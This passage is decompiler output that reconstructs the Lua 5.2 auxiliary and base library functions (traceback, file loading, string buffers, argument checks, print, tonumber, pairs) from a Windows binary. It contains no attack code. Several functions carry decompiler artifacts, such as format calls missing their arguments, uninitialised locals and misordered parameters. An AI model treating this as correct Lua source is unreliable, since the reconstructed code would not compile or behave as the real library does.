== 109 ) { lua_pushfstring(v2, "main chunk"); } else { if ( v3 == 67 ) { if ( pushglobalfuncname(v2, ar) ) { lua_tolstring(v2, -1, 0); lua_pushfstring(v2, "function '%s'"); lua_remove(v2, -2); } else { lua_pushlstring(v2, "?", 1u); } } else { lua_pushfstring(v2, "function <%s:%d>"); } } } } //----- (005AC6C0) -------------------------------------------------------- int __cdecl countlevels(lua_State *L) { signed int v1; // esi@1 int v2; // ebx@2 int result; // eax@8 lua_Debug ar; // [sp+8h] [bp-68h]@1 unsigned int v5; // [sp+6Ch] [bp-4h]@1 v5 = (unsigned int)&ar ^ __security_cookie; v1 = 1; if ( lua_getstack(L, 1, &ar) ) { do { v2 = v1; v1 *= 2; } while ( lua_getstack(L, v1, &ar) ); if ( v2 >= v1 ) { result = v1 - 1; } else { do { if ( lua_getstack(L, (v1 + v2) / 2, &ar) ) v2 = (v1 + v2) / 2 + 1; else v1 = (v1 + v2) / 2; } while ( v2 < v1 ); result = v1 - 1; } } else { result = 0; } return result; } //----- (005AC780) -------------------------------------------------------- void __cdecl luaL_traceback(lua_State *L, lua_State *L1, const char *msg, int level) { int v4; // ebp@1 int v5; // edi@3 int v6; // eax@10 int v7; // eax@12 int top; // [sp+10h] [bp-70h]@1 int mark; // [sp+14h] [bp-6Ch]@1 int ar; // [sp+18h] [bp-68h]@3 int v11; // [sp+2Ch] [bp-54h]@6 char v12; // [sp+3Bh] [bp-45h]@8 unsigned int v13; // [sp+7Ch] [bp-4h]@1 v13 = (unsigned int)&top ^ __security_cookie; top = lua_gettop(L); v4 = countlevels(L1); mark = ((v4 <= 22) - 1) & 0xC; if ( msg ) lua_pushfstring(L, "%s\n"); lua_pushlstring(L, "stack traceback:", 0x10u); v5 = level; while ( lua_getstack(L1, v5, (lua_Debug *)&ar) ) { ++v5; if ( v5 == mark ) { lua_pushlstring(L, "\n\t...", 5u); v5 = v4 - 10; } else { lua_getinfo(L1, "Slnt", (lua_Debug *)&ar); lua_pushfstring(L, "\n\t%s:"); if ( v11 > 0 ) lua_pushfstring(L, "%d:"); lua_pushlstring(L, " in ", 4u); pushfuncname(L, (lua_Debug *)&ar); if ( v12 ) lua_pushlstring(L, "\n\t(...tail calls...)", 0x14u); v6 = lua_gettop(L); lua_concat(L, v6 - top); } } v7 = lua_gettop(L); lua_concat(L, v7 - top); } //----- (005AC8F0) -------------------------------------------------------- void __cdecl luaL_where(lua_State *L, int level) { int ar; // [sp+4h] [bp-68h]@1 int v3; // [sp+18h] [bp-54h]@2 unsigned int v4; // [sp+68h] [bp-4h]@1 v4 = (unsigned int)&ar ^ __security_cookie; if ( lua_getstack(L, level, (lua_Debug *)&ar) && (lua_getinfo(L, "Sl", (lua_Debug *)&ar), v3 > 0) ) lua_pushfstring(L, "%s:%d: "); else lua_pushlstring(L, byte_635E1E, 0); } //----- (005AC980) -------------------------------------------------------- int __cdecl luaL_error(lua_State *L, const char *fmt) { char argp; // [sp+10h] [bp+Ch]@0 luaL_where(L, 1); lua_pushvfstring(L, fmt, &argp); lua_concat(L, 2); lua_error(L); } //----- (005AC9B0) -------------------------------------------------------- int __cdecl luaL_fileresult(lua_State *L, int stat, const char *fname) { int v3; // edi@1 int result; // eax@2 v3 = *_errno(); if ( stat ) { lua_pushboolean(L, 1); result = 1; } else { lua_pushnil(L); strerror(v3); if ( fname ) { lua_pushfstring(L, "%s: %s"); lua_pushinteger(L, v3); result = 3; } else { lua_pushfstring(L, "%s"); lua_pushinteger(L, v3); result = 3; } } return result; } //----- (005ACA40) -------------------------------------------------------- int __cdecl luaL_execresult(lua_State *L, int stat) { int v2; // esi@2 int result; // eax@2 if ( stat == -1 ) { v2 = *_errno(); lua_pushnil(L); strerror(v2); lua_pushfstring(L, "%s"); lua_pushinteger(L, v2); result = 3; } else { if ( stat ) lua_pushnil(L); else lua_pushboolean(L, 1); lua_pushstring(L, "exit"); lua_pushinteger(L, stat); result = 3; } return result; } //----- (005ACAC0) -------------------------------------------------------- int __cdecl luaL_newmetatable(lua_State *L, const char *tname) { int result; // eax@2 lua_getfield(L, -1001000, tname); if ( lua_type(L, -1) ) { result = 0; } else { lua_settop(L, -2); lua_createtable(L, 0, 0); lua_pushvalue(L, -1); lua_setfield(L, -1001000, tname); result = 1; } return result; } //----- (005ACB20) -------------------------------------------------------- void __cdecl luaL_setmetatable(lua_State *L, const char *tname) { lua_getfield(L, -1001000, tname); lua_setmetatable(L, -2); } //----- (005ACB50) -------------------------------------------------------- void *__cdecl luaL_testudata(lua_State *L, int ud, const char *tname) { void *v3; // esi@1 void *result; // eax@5 v3 = lua_touserdata(L, ud); if ( v3 && lua_getmetatable(L, ud) ) { lua_getfield(L, -1001000, tname); if ( !lua_rawequal(L, -1, -2) ) v3 = 0; lua_settop(L, -3); result = v3; } else { result = 0; } return result; } //----- (005ACBC0) -------------------------------------------------------- void __cdecl luaL_checkstack(lua_State *L, int space, const char *msg) { if ( !lua_checkstack(L, space + 20) ) { if ( msg ) luaL_error(L, "stack overflow (%s)"); luaL_error(L, "stack overflow"); } } //----- (005ACC10) -------------------------------------------------------- char *__cdecl luaL_prepbuffsize(luaL_Buffer *B, unsigned int sz) { luaL_Buffer *v2; // ebx@1 unsigned int v3; // ecx@1 unsigned int v4; // eax@1 lua_State *v5; // esi@1 unsigned int v6; // edi@1 unsigned int v7; // ebp@2 void *v8; // eax@7 lua_State *Ba; // [sp+10h] [bp+4h]@1 void *L; // [sp+14h] [bp+8h]@7 v2 = B; v3 = B->size; v4 = B->n; v5 = B->L; v6 = B->size - v4; Ba = B->L; if ( v6 < sz ) { v7 = 2 * v3; if ( 2 * v3 - v4 < sz ) v7 = v4 + sz; if ( v7 < v4 || v7 - v4 < sz ) luaL_error(v5, "buffer too large"); v8 = lua_newuserdata(v5, v7); memcpy(v8, v2->b, v2->n); L = v8; if ( v2->b != v2->initb ) { lua_remove(Ba, -2); v8 = L; } v2->size = v7; v2->b = (char *)v8; } return &v2->b[v2->n]; } //----- (005ACCB0) -------------------------------------------------------- void __cdecl luaL_addlstring(luaL_Buffer *B, const char *s, unsigned int l) { luaL_Buffer *v3; // [sp+0h] [bp-18h]@0 unsigned int v4; // [sp+4h] [bp-14h]@0 memcpy(luaL_prepbuffsize(v3, v4), s, l); B->n += l; } //----- (005ACCF0) -------------------------------------------------------- void __cdecl luaL_addstring(luaL_Buffer *B, const char *s) { const char *v2; // eax@1 const char *v3; // edx@1 char v4; // cl@2 v2 = s; v3 = s + 1; do v4 = *v2++; while ( v4 ); memcpy(luaL_prepbuffsize(B, v2 - v3), s, v2 - v3); B->n += v2 - v3; } //----- (005ACD40) -------------------------------------------------------- void __cdecl luaL_pushresult(luaL_Buffer *B) { lua_State *v1; // edi@1 v1 = B->L; lua_pushlstring(B->L, B->b, B->n); if ( B->b != B->initb ) lua_remove(v1, -2); } //----- (005ACD70) -------------------------------------------------------- void __cdecl luaL_pushresultsize(luaL_Buffer *B, unsigned int sz) { lua_State *v2; // edi@1 unsigned int v3; // ST08_4@1 char *v4; // ST04_4@1 lua_State *v5; // ST00_4@1 v2 = B->L; v3 = sz + B->n; v4 = B->b; v5 = B->L; B->n = v3; lua_pushlstring(v5, v4, v3); if ( B->b != B->initb ) lua_remove(v2, -2); } //----- (005ACDB0) -------------------------------------------------------- void __cdecl luaL_addvalue(luaL_Buffer *B) { luaL_Buffer *v1; // ebx@1 const void *v2; // esi@1 luaL_Buffer *v3; // ebp@3 char *v4; // edi@3 lua_State *L; // [sp+10h] [bp-4h]@1 v1 = B; L = B->L; v2 = lua_tolstring(L, -1, (unsigned int *)&B); if ( v1->b != v1->initb ) lua_insert(L, -2); v3 = B; memcpy(luaL_prepbuffsize(v1, (unsigned int)B), v2, (unsigned int)B); v4 = v1->b; v1->n += (unsigned int)v3; lua_remove(L, (v4 == v1->initb) - 2); } //----- (005ACE30) -------------------------------------------------------- void __cdecl luaL_buffinit(lua_State *L, luaL_Buffer *B) { B->L = L; B->b = B->initb; B->n = 0; B->size = 512; } //----- (005ACE50) -------------------------------------------------------- char *__cdecl luaL_buffinitsize(lua_State *L, luaL_Buffer *B, unsigned int sz) { B->L = L; B->b = B->initb; B->n = 0; B->size = 512; return luaL_prepbuffsize(B, sz); } //----- (005ACE80) -------------------------------------------------------- const char *__cdecl getF(lua_State *L, void *ud, unsigned int *size) { const char *result; // eax@2 if ( *(_DWORD *)ud <= 0 ) { if ( *(_BYTE *)(*((_DWORD *)ud + 1) + 12) & 0x10 ) { result = 0; } else { *size = fread((char *)ud + 8, 1u, 0x200u, *((_iobuf **)ud + 1)); result = (char *)ud + 8; } } else { *size = *(_DWORD *)ud; *(_DWORD *)ud = 0; result = (char *)ud + 8; } return result; } //----- (005ACED0) -------------------------------------------------------- int __usercall errfile(lua_State *L, int fnameindex, const char *what) { int *v3; // eax@1 const char *v4; // ST14_4@1 v3 = _errno(); strerror(*v3); v4 = lua_tolstring(L, fnameindex, 0) + 1; lua_pushfstring(L, "cannot %s %s: %s"); lua_remove(L, fnameindex); return 7; } //----- (005ACF10) -------------------------------------------------------- int __usercall skipBOM(LoadF *lf) { char v1[4]; // edi@1 int result; // eax@2 int v3; // ecx@3 _iobuf *v4; // ST00_4@5 *(_DWORD *)v1 = ""; lf->n = 0; while ( 1 ) { result = getc(lf->f); if ( result == -1 ) break; v3 = **(_BYTE **)v1; ++*(_DWORD *)v1; if ( result != v3 ) break; lf->buff[lf->n++] = result; if ( !**(_BYTE **)v1 ) { v4 = lf->f; lf->n = 0; return getc(v4); } } return result; } //----- (005ACF60) -------------------------------------------------------- int __usercall skipcomment(LoadF *lf, int *cp) { LoadF *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 int result; // eax@4 v2 = lf; v3 = skipBOM(lf); *cp = v3; if ( v3 == 35 ) { do v4 = getc(v2->f); while ( v4 != -1 && v4 != 10 ); *cp = getc(v2->f); result = 1; } else { result = 0; } return result; } //----- (005ACFA0) -------------------------------------------------------- int __cdecl luaL_loadfilex(lua_State *L, const char *filename, const char *mode) { int v3; // ebx@1 int v4; // eax@5 int result; // eax@8 int *v6; // eax@10 const char *v7; // ST1C_4@10 const char *v8; // ST30_4@14 const char *v9; // eax@14 int v10; // edi@14 int *v11; // eax@17 const char *v12; // ST14_4@17 const char *status; // [sp+10h] [bp-214h]@1 int c; // [sp+14h] [bp-210h]@3 int lf; // [sp+18h] [bp-20Ch]@3 FILE *str; // [sp+1Ch] [bp-208h]@2 char v17[512]; // [sp+20h] [bp-204h]@4 unsigned int v18; // [sp+220h] [bp-4h]@1 v18 = (unsigned int)&status ^ __security_cookie; status = mode; v3 = lua_gettop(L) + 1; if ( filename ) { lua_pushfstring(L, "@%s"); str = fopen(filename, "r"); if ( !str ) { v6 = _errno(); strerror(*v6); v7 = lua_tolstring(L, v3, 0) + 1; lua_pushfstring(L, "cannot %s %s: %s"); lua_remove(L, v3); return 7; } } else { lua_pushlstring(L, "=stdin", 6u); str = &_iob; } if ( skipcomment((LoadF *)&lf, &c) ) v17[lf++] = 10; v4 = c; if ( c == 27 ) { if ( !filename ) { LABEL_13: v17[lf++] = v4; goto LABEL_14; } str = freopen(filename, "rb", str); if ( !str ) return errfile(L, "reopen", v3); skipcomment((LoadF *)&lf, &c); v4 = c; } if ( v4 != -1 ) goto LABEL_13; LABEL_14: v8 = status; v9 = lua_tolstring(L, -1, 0); status = (const char *)lua_load(L, getF, &lf, v9, v8); v10 = str->_flag & 0x20; if ( filename ) fclose(str); if ( v10 ) { lua_settop(L, v3); v11 = _errno(); strerror(*v11); v12 = lua_tolstring(L, v3, 0) + 1; lua_pushfstring(L, "cannot %s %s: %s"); lua_remove(L, v3); result = 7; } else { lua_remove(L, v3); result = (int)status; } return result; } // 5ACFA0: using guessed type char var_204[512]; //----- (005AD1B0) -------------------------------------------------------- int __cdecl luaL_loadbufferx(lua_State *L, const char *buff, unsigned int size, const char *name, const char *mode) { const char *ls; // [sp+0h] [bp-8h]@1 unsigned int v7; // [sp+4h] [bp-4h]@1 ls = buff; v7 = size; return lua_load(L, getS, &ls, name, mode); } //----- (005AD1F0) -------------------------------------------------------- int __cdecl luaL_loadstring(lua_State *L, const char *s) { const char *data; // [sp+4h] [bp-8h]@1 unsigned int v4; // [sp+8h] [bp-4h]@1 v4 = strlen(s); data = s; return lua_load(L, getS, &data, s, 0); } //----- (005AD230) -------------------------------------------------------- int __cdecl luaL_getmetafield(lua_State *L, int obj, const char *event) { if ( !lua_getmetatable(L, obj) ) return 0; lua_pushstring(L, event); lua_rawget(L, -2); if ( !lua_type(L, -1) ) { lua_settop(L, -3); return 0; } lua_remove(L, -2); return 1; } //----- (005AD290) -------------------------------------------------------- int __cdecl luaL_len(lua_State *L, int idx) { int v2; // ecx@0 int v3; // edi@1 int isnum; // [sp+0h] [bp-4h]@1 isnum = v2; lua_len(L, idx); v3 = lua_tointegerx(L, -1, &isnum); if ( !isnum ) luaL_error(L, "object length is not a number"); lua_settop(L, -2); return v3; } //----- (005AD2E0) -------------------------------------------------------- const char *__cdecl luaL_tolstring(lua_State *L, int idx, unsigned int *len) { int v3; // ebx@1 const char *result; // eax@2 bool v5; // zf@5 const char *v6; // eax@5 int v7; // eax@9 v3 = lua_absindex(L, idx); if ( luaL_getmetafield(L, v3, "__tostring") ) { lua_pushvalue(L, v3); lua_callk(L, 1, 1, 0, 0); result = lua_tolstring(L, -1, len); } else { switch ( lua_type(L, idx) ) { case 3: case 4: lua_pushvalue(L, idx); result = lua_tolstring(L, -1, len); break; case 1: v5 = lua_toboolean(L, idx) == 0; v6 = "true"; if ( v5 ) v6 = "false"; lua_pushstring(L, v6); result = lua_tolstring(L, -1, len); break; case 0: lua_pushlstring(L, "nil", 3u); result = lua_tolstring(L, -1, len); break; default: lua_topointer(L, idx); v7 = lua_type(L, idx); lua_typename(L, v7); lua_pushfstring(L, "%s: %p"); result = lua_tolstring(L, -1, len); break; } } return result; } //----- (005AD420) -------------------------------------------------------- int __cdecl luaL_getsubtable(lua_State *L, int idx, const char *fname) { int result; // eax@2 int v4; // edi@3 lua_getfield(L, idx, fname); if ( lua_type(L, -1) == 5 ) { result = 1; } else { lua_settop(L, -2); v4 = lua_absindex(L, idx); lua_createtable(L, 0, 0); lua_pushvalue(L, -1); lua_setfield(L, v4, fname); result = 0; } return result; } //----- (005AD490) -------------------------------------------------------- void __cdecl luaL_requiref(lua_State *L, const char *modname, int (__cdecl *openf)(lua_State *), int glb) { lua_pushcclosure(L, openf, 0); lua_pushstring(L, modname); lua_callk(L, 1, 1, 0, 0); luaL_getsubtable(L, -1001000, "_LOADED"); lua_pushvalue(L, -2); lua_setfield(L, -2, modname); lua_settop(L, -2); if ( glb ) { lua_pushvalue(L, -1); lua_setglobal(L, modname); } } //----- (005AD510) -------------------------------------------------------- const char *__cdecl luaL_gsub(lua_State *L, const char *s, const char *p, const char *r) { lua_State *v4; // ebx@1 const void *v5; // esi@1 char *v6; // ebp@1 const void *v7; // eax@2 int v8; // ecx@2 char v9; // dl@3 const void *v10; // eax@6 int v11; // edx@6 char v12; // cl@7 lua_State *v13; // esi@8 char *v15; // [sp+Ch] [bp-224h]@1 const void *v16; // [sp+10h] [bp-220h]@1 lua_State *v17; // [sp+14h] [bp-21Ch]@1 unsigned int l; // [sp+18h] [bp-218h]@1 const char *b; // [sp+1Ch] [bp-214h]@1 int v20; // [sp+20h] [bp-210h]@1 unsigned int v21; // [sp+24h] [bp-20Ch]@1 lua_State *v22; // [sp+28h] [bp-208h]@1 char v23; // [sp+2Ch] [bp-204h]@1 unsigned int v24; // [sp+22Ch] [bp-4h]@1 v24 = (unsigned int)&v15 ^ __security_cookie; v4 = L; v5 = s; v16 = r; v17 = L; v15 = (char *)p; l = strlen(p); v22 = L; b = &v23; v21 = 0; v20 = 512; v6 = strstr(s, p); if ( v6 ) { do { memcpy(luaL_prepbuffsize((luaL_Buffer *)&b, v6 - v5), v5, v6 - v5); v21 += v6 - v5; v7 = v16; v8 = (int)((char *)v16 + 1); do { v9 = *(_BYTE *)v7; v7 = (char *)v7 + 1; } while ( v9 ); memcpy( luaL_prepbuffsize((luaL_Buffer *)&b, (unsigned int)((char *)v7 - v8)), v16, (unsigned int)((char *)v7 - v8)); v21 += (unsigned int)((char *)v7 - v8); v5 = &v6[l]; v6 = strstr(&v6[l], v15); } while ( v6 ); v4 = v17; } v10 = v5; v11 = (int)((char *)v5 + 1); do { v12 = *(_BYTE *)v10; v10 = (char *)v10 + 1; } while ( v12 ); memcpy(luaL_prepbuffsize((luaL_Buffer *)&b, (unsigned int)((char *)v10 - v11)), v5, (unsigned int)((char *)v10 - v11)); v21 += (unsigned int)((char *)v10 - v11); v13 = v22; lua_pushlstring(v22, b, v21); if ( b != &v23 ) lua_remove(v13, -2); return lua_tolstring(v4, -1, 0); } //----- (005AD720) -------------------------------------------------------- lua_State *__cdecl luaL_newstate() { lua_State *v0; // eax@1 lua_State *v1; // esi@1 v0 = lua_newstate(l_alloc, 0); v1 = v0; if ( v0 ) lua_atpanic(v0, panic); return v1; } //----- (005AD750) -------------------------------------------------------- void __cdecl luaL_checkversion_(lua_State *L, long double ver) { const long double *v2; // edi@1 v2 = lua_version(L); if ( v2 != lua_version(0) ) luaL_error(L, "multiple Lua VMs detected"); if ( *(double *)v2 != ver ) luaL_error(L, "version mismatch: app. needs %f, Lua core provides %f"); lua_pushnumber(L, -4660.0); if ( lua_tointegerx(L, -1, 0) != -4660 || lua_tounsignedx(L, -1, 0) != -4660 ) luaL_error(L, "bad conversion number->int; must recompile Lua with proper settings"); lua_settop(L, -2); } //----- (005AD800) -------------------------------------------------------- int __cdecl luaL_argerror(lua_State *L, int narg, const char *extramsg) { int v3; // esi@3 int v4; // edi@3 signed int v5; // ecx@3 bool v6; // zf@3 const char *v7; // eax@11 int ar; // [sp+8h] [bp-68h]@1 const char *v9; // [sp+Ch] [bp-64h]@9 int v10; // [sp+10h] [bp-60h]@3 unsigned int v11; // [sp+6Ch] [bp-4h]@1 v11 = (unsigned int)&ar ^ __security_cookie; if ( !lua_getstack(L, 0, (lua_Debug *)&ar) ) luaL_error(L, "bad argument #%d (%s)"); lua_getinfo(L, "n", (lua_Debug *)&ar); v3 = v10; v4 = (int)"method"; v5 = 7; v6 = 1; do { if ( !v5 ) break; v6 = *(_BYTE *)v3++ == *(_BYTE *)v4++; --v5; } while ( v6 ); if ( v6 && narg == 1 ) luaL_error(L, "calling '%s' on bad self"); if ( !v9 ) { if ( pushglobalfuncname(L, (lua_Debug *)&ar) ) v7 = lua_tolstring(L, -1, 0); else v7 = "?"; v9 = v7; } luaL_error(L, "bad argument #%d to '%s' (%s)"); } //----- (005AD910) -------------------------------------------------------- void *__cdecl luaL_checkudata(lua_State *L, int ud, const char *tname) { void *result; // eax@1 int v4; // eax@2 const char *v5; // eax@3 const char *v6; // [sp+0h] [bp-14h]@0 result = luaL_testudata(L, ud, v6); if ( !result ) { v4 = lua_type(L, ud); lua_typename(L, v4); v5 = lua_pushfstring(L, "%s expected, got %s"); luaL_argerror(L, ud, v5); } return result; } //----- (005AD960) -------------------------------------------------------- void __cdecl luaL_checktype(lua_State *L, int narg, int t) { int v3; // eax@2 const char *v4; // eax@3 if ( lua_type(L, narg) != t ) { lua_typename(L, t); v3 = lua_type(L, narg); lua_typename(L, v3); v4 = lua_pushfstring(L, "%s expected, got %s"); luaL_argerror(L, narg, v4); } } //----- (005AD9B0) -------------------------------------------------------- void __cdecl luaL_checkany(lua_State *L, int narg) { if ( lua_type(L, narg) == -1 ) luaL_argerror(L, narg, "value expected"); } //----- (005AD9E0) -------------------------------------------------------- const char *__cdecl luaL_checklstring(lua_State *L, int narg, unsigned int *len) { const char *result; // eax@1 int v4; // eax@2 const char *v5; // eax@3 result = lua_tolstring(L, narg, len); if ( !result ) { lua_typename(L, 4); v4 = lua_type(L, narg); lua_typename(L, v4); v5 = lua_pushfstring(L, "%s expected, got %s"); luaL_argerror(L, narg, v5); } return result; } //----- (005ADA40) -------------------------------------------------------- const char *__cdecl luaL_optlstring(lua_State *L, int narg, const char *def, unsigned int *len) { const char *result; // eax@2 if ( lua_type(L, narg) > 0 ) { result = luaL_checklstring(L, narg, len); } else { result = def; if ( len ) { if ( def ) *len = strlen(def); else *len = 0; } } return result; } //----- (005ADAA0) -------------------------------------------------------- long double __cdecl luaL_checknumber(lua_State *L, int narg) { long double result; // st7@1 int v3; // eax@2 const char *v4; // eax@3 int isnum; // [sp+8h] [bp-Ch]@1 long double d; // [sp+Ch] [bp-8h]@1 result = lua_tonumberx(L, narg, &isnum); d = result; if ( !isnum ) { lua_typename(L, 3); v3 = lua_type(L, narg); lua_typename(L, v3); v4 = lua_pushfstring(L, "%s expected, got %s"); luaL_argerror(L, narg, v4); } return result; } //----- (005ADB10) -------------------------------------------------------- long double __cdecl luaL_optnumber(lua_State *L, int narg, long double def) { long double result; // st7@2 if ( lua_type(L, narg) > 0 ) result = luaL_checknumber(L, narg); else result = def; return result; } //----- (005ADB40) -------------------------------------------------------- int __cdecl luaL_checkinteger(lua_State *L, int narg) { int v2; // ebp@1 int v3; // eax@2 const char *v4; // eax@3 int isnum; // [sp+Ch] [bp-4h]@1 v2 = lua_tointegerx(L, narg, &isnum); if ( !isnum ) { lua_typename(L, 3); v3 = lua_type(L, narg); lua_typename(L, v3); v4 = lua_pushfstring(L, "%s expected, got %s"); luaL_argerror(L, narg, v4); } return v2; } //----- (005ADBA0) -------------------------------------------------------- unsigned int __cdecl luaL_checkunsigned(lua_State *L, int narg) { unsigned int v2; // ebp@1 int v3; // eax@2 const char *v4; // eax@3 int isnum; // [sp+Ch] [bp-4h]@1 v2 = lua_tounsignedx(L, narg, &isnum); if ( !isnum ) { lua_typename(L, 3); v3 = lua_type(L, narg); lua_typename(L, v3); v4 = lua_pushfstring(L, "%s expected, got %s"); luaL_argerror(L, narg, v4); } return v2; } //----- (005ADC00) -------------------------------------------------------- int __cdecl luaL_optinteger(lua_State *L, int narg, int def) { int result; // eax@2 if ( lua_type(L, narg) > 0 ) result = luaL_checkinteger(L, narg); else result = def; return result; } //----- (005ADC30) -------------------------------------------------------- void __cdecl luaL_setfuncs(lua_State *L, luaL_Reg *l, int nup) { int v3; // ebx@1 luaL_Reg *v4; // esi@3 const char *v5; // eax@8 int la; // [sp+1Ch] [bp+8h]@4 int nupa; // [sp+20h] [bp+Ch]@6 luaL_checkversion_(L, 502.0); v3 = nup; if ( !lua_checkstack(L, nup + 20) ) luaL_error(L, "stack overflow (%s)"); v4 = l; if ( l->name ) { la = -2 - nup; do { if ( v3 > 0 ) { nupa = v3; do { lua_pushvalue(L, -v3); --nupa; } while ( nupa ); } lua_pushcclosure(L, v4->func, v3); lua_setfield(L, la, v4->name); v5 = v4[1].name; ++v4; } while ( v5 ); } lua_settop(L, -1 - v3); } //----- (005ADCF0) -------------------------------------------------------- int __cdecl luaL_checkoption(lua_State *L, int narg, const char *def, const char *const *lst) { lua_State *v4; // ebx@1 const char *v5; // ebp@3 const char *v6; // ecx@7 int v7; // edi@7 const char *v8; // eax@11 int v10; // [sp-8h] [bp-18h]@4 unsigned int *v11; // [sp-4h] [bp-14h]@4 v4 = L; if ( def ) { if ( lua_type(L, narg) <= 0 ) { v5 = def; goto LABEL_7; } v11 = 0; v10 = narg; } else { v11 = 0; v10 = narg; } v5 = luaL_checklstring(L, v10, v11); LABEL_7: v6 = *lst; v7 = 0; if ( !*lst ) goto LABEL_11; while ( strcmp(v6, v5) ) { v6 = lst[v7++ + 1]; if ( !v6 ) { v4 = L; LABEL_11: v8 = lua_pushfstring(v4, "invalid option '%s'"); luaL_argerror(v4, narg, v8); } } return v7; } //----- (005ADDB0) -------------------------------------------------------- int __cdecl luaB_print(lua_State *L) { int v1; // ebp@1 int i; // edi@1 const void *v3; // ebx@2 size_t l; // [sp+10h] [bp-4h]@2 v1 = lua_gettop(L); lua_getglobal(L, "tostring"); for ( i = 1; i <= v1; ++i ) { lua_pushvalue(L, -1); lua_pushvalue(L, i); lua_callk(L, 1, 1, 0, 0); v3 = lua_tolstring(L, -1, &l); if ( !v3 ) luaL_error(L, "'tostring' must return a string to 'print'"); if ( i > 1 ) fwrite("\t", 1u, 1u, &unk_6B7278); fwrite(v3, 1u, l, &unk_6B7278); lua_settop(L, -2); } fwrite("\n", 1u, 1u, &unk_6B7278); fflush(&unk_6B7278); return 0; } //----- (005ADE90) -------------------------------------------------------- int __cdecl luaB_tonumber(lua_State *L) { double v1; // st7@2 const char *v3; // eax@5 char *v4; // esi@5 int v5; // eax@5 int v6; // ebx@5 int v7; // eax@8 int *v8; // esi@8 int v9; // eax@15 int v10; // eax@18 int v11; // eax@19 signed int digit; // [sp+14h] [bp-1Ch]@17 int neg; // [sp+18h] [bp-18h]@2 int l; // [sp+1Ch] [bp-14h]@5 int base; // [sp+20h] [bp-10h]@5 int e; // [sp+24h] [bp-Ch]@5 double n; // [sp+28h] [bp-8h]@13 if ( lua_type(L, 2) > 0 ) { v3 = luaL_checklstring(L, 1, (unsigned int *)&l); v4 = (char *)v3; e = (int)&v3[l]; v5 = luaL_checkinteger(L, 2); v6 = v5; base = v5; neg = 0; if ( v5 < 2 || v5 > 36 ) luaL_argerror(L, 2, "base out of range"); strspn(v4, " "); v8 = (int *)&v4[v7]; if ( *(_BYTE *)v8 == 45 ) { neg = 1; } else { if ( *(_BYTE *)v8 != 43 ) goto LABEL_12; } v8 = (int *)((char *)v8 + 1); LABEL_12: if ( !isalnum(*(_BYTE *)v8) ) goto LABEL_4; n = 0.0; do { if ( isdigit(*(_BYTE *)v8) ) v9 = *(_BYTE *)v8 - 48; else v9 = toupper(*(_BYTE *)v8) - 55; digit = v9; if ( v9 >= v6 ) break; v10 = *((_BYTE *)v8 + 1); v8 = (int *)((char *)v8 + 1); n = (double)base * n + (double)digit; } while ( isalnum(v10) ); strspn((char *)v8, " "); if ( (int *)((char *)v8 + v11) != (int *)e ) goto LABEL_4; v1 = n; if ( neg ) v1 = -n; goto LABEL_22; } v1 = lua_tonumberx(L, 1, &neg); if ( !neg ) { luaL_checkany(L, 1); LABEL_4: lua_pushnil(L); return 1; } LABEL_22: lua_pushnumber(L, v1); return 1; } //----- (005AE020) -------------------------------------------------------- int __cdecl luaB_error(lua_State *L) { int v1; // edi@1 v1 = luaL_optinteger(L, 2, 1); lua_settop(L, 1); if ( lua_isstring(L, 1) ) { if ( v1 > 0 ) { luaL_where(L, v1); lua_pushvalue(L, 1); lua_concat(L, 2); } } lua_error(L); } //----- (005AE080) -------------------------------------------------------- int __cdecl luaB_getmetatable(lua_State *L) { int result; // eax@2 luaL_checkany(L, 1); if ( lua_getmetatable(L, 1) ) { luaL_getmetafield(L, 1, "__metatable"); result = 1; } else { lua_pushnil(L); result = 1; } return result; } //----- (005AE0D0) -------------------------------------------------------- int __cdecl luaB_setmetatable(lua_State *L) { int v1; // edi@1 v1 = lua_type(L, 2); luaL_checktype(L, 1, 5); if ( v1 && v1 != 5 ) luaL_argerror(L, 2, "nil or table expected"); if ( luaL_getmetafield(L, 1, "__metatable") ) luaL_error(L, "cannot change a protected metatable"); lua_settop(L, 2); lua_setmetatable(L, 1); return 1; } //----- (005AE150) -------------------------------------------------------- int __cdecl luaB_rawequal(lua_State *L) { int v1; // eax@1 luaL_checkany(L, 1); luaL_checkany(L, 2); v1 = lua_rawequal(L, 1, 2); lua_pushboolean(L, v1); return 1; } //----- (005AE180) -------------------------------------------------------- int __cdecl luaB_rawlen(lua_State *L) { int v1; // eax@1 int v2; // eax@4 v1 = lua_type(L, 1); if ( v1 != 5 && v1 != 4 ) luaL_argerror(L, 1, "table or string expected"); v2 = lua_rawlen(L, 1); lua_pushinteger(L, v2); return 1; } //----- (005AE1D0) -------------------------------------------------------- int __cdecl luaB_rawget(lua_State *L) { luaL_checktype(L, 1, 5); luaL_checkany(L, 2); lua_settop(L, 2); lua_rawget(L, 1); return 1; } //----- (005AE210) -------------------------------------------------------- int __cdecl luaB_rawset(lua_State *L) { luaL_checktype(L, 1, 5); luaL_checkany(L, 2); luaL_checkany(L, 3); lua_settop(L, 3); lua_rawset(L, 1); return 1; } //----- (005AE250) -------------------------------------------------------- int __cdecl luaB_collectgarbage(lua_State *L) { int v1; // edi@1 int v2; // eax@1 int v3; // eax@1 int v4; // edi@1 int v5; // edi@2 int result; // eax@4 signed int v7; // edi@6 signed int res; // [sp+14h] [bp-4h]@1 v1 = optsnum[luaL_checkoption(L, 1, "collect", opts)]; v2 = luaL_optinteger(L, 2, 0); v3 = lua_gc(L, v1, v2); v4 = v1 - 3; res = v3; if ( v4 ) { v5 = v4 - 2; if ( v5 && v5 != 4 ) { lua_pushinteger(L, v3); result = 1; } else { lua_pushboolean(L, v3); result = 1; } } else { v7 = lua_gc(L, 4, 0); lua_pushnumber(L, (double)v7 * 0.0009765625 + (double)res); lua_pushinteger(L, v7); result = 2; } return result; } //----- (005AE310) -------------------------------------------------------- int __cdecl luaB_type(lua_State *L) { int v1; // eax@1 const char *v2; // eax@1 luaL_checkany(L, 1); v1 = lua_type(L, 1); v2 = lua_typename(L, v1); lua_pushstring(L, v2); return 1; } //----- (005AE340) -------------------------------------------------------- int __cdecl luaB_next(lua_State *L) { int result; // eax@2 luaL_checktype(L, 1, 5); lua_settop(L, 2); if ( lua_next(L, 1) ) { result = 2; } else { lua_pushnil(L); result = 1; } return result; } //----- (005AE380) -------------------------------------------------------- int __cdecl luaB_pairs(lua_State *L) { int result; // eax@2 if ( luaL_getmetafield(L, 1, "__pairs") ) { lua_pushvalue(L, 1); lua_callk(L, 1, 3, 0, 0); result = 3; } else { luaL_checktype(L, 1, 5); lua_pushcclosure(L, luaB_next, 0); lua_pushvalue(L, 1); lua_pushnil(L); result = 